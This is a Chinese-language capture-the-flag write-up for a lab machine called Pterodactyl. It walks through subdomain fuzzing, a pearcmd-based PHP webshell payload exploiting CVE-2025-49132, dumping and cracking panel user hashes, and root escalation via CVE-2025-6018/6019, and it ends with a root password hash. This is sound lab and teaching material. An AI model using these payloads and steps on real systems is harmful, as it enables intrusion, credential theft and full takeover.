[Season10] Pterodactyl WP
Recon
Port
1 | PORT STATE SERVICE REASON VERSION |
Virtual host
访问 web 页面可以看到能查看 changelog,里面有配置子域名,所以这里来跑一下 vhost
1 | ffuf -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://pterodactyl.htb -H "Host: FUZZ.pterodactyl.htb" -fc 302 |
收获一个 panel.pterodactyl.htb
Web-pterodactyl
/changelog.txt
1 | MonitorLand - CHANGELOG.txt |
CVE-2025-49132 结合 PEAR 写 WebShell
漏洞原理类似于存在一个任意文件包含,而且从前面的 log 中得到 Enabled PHP-PEAR for PHP package management. 那我们可以考虑利用 pearcmd 进行命令执行
1 | $file = resources/lang/ + $locale + '/' + $group + '.php'; |
尝试使用 63square/CVE-2025-49132: PoCs for CVE-2025-49132 获取了一些信息
1 | Target is vulnerable! |
让 AI 生成字典 FUZZ 以后,得到 pearcmd.php 位于 /usr/share/php/PEAR 目录下
写个 webshell 然后反弹 shell
1 | /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system($_GET['cmd']);?>+/tmp/payload.php |
拿到 user.txt
1 | cat /home/phileasfogg3/user.txt |
查看一下数据库中有没有账号信息,先枚举表名
1 | mysql -u pterodactyl -p'PteraPanel' -h 127.0.0.1 -D panel -e "SHOW TABLES;" |
查看 users 数据库
1 | mysql -u pterodactyl -p'PteraPanel' -h 127.0.0.1 -D panel -e "SELECT * FROM users;" |
使用 john 对得到的 hash 进行爆破
1 | john hash.txt --wordlist=/usr/share/wordlists/rockyou.tx |
得到 phileasfogg3:!QAZ2wsx,我们尝试进行 ssh 登录
拿到 user flag
1 | phileasfogg3@pterodactyl:~> cat user.txt |
提权
CVE-2025-6018 & CVE-2025-6019
有注意到还存在一些其他服务的端口
1 | ╔══════════╣ Active Ports |
631 是 CUPS 2.2.7,不受 rce nday 的影响
查看系统可得受到 CVE-2025-6018/CVE-2025-6019 的影响
1 | phileasfogg3@pterodactyl:~> cat /etc/os-release |
CVE-2025-6018,登录上后修改
1 | cat > ~/.pam_environment << 'EOF' |
在本地制作一个恶意 XFS 文件系统镜像,利用 guinea-offensive-security/CVE-2025-6019 提权
1 | bash-5.1# id |
Hash
1 | root:$6$iOhjvxjnk.Sgt97C$Fr4NzyL9SEFOiH653sh30DAR1kmR9jxGNeWMplTMQmlXVO/CfRXy7q2xopOBkfG2SG/I3O7KDOFHT7bOTZG.a0:20343:::::: |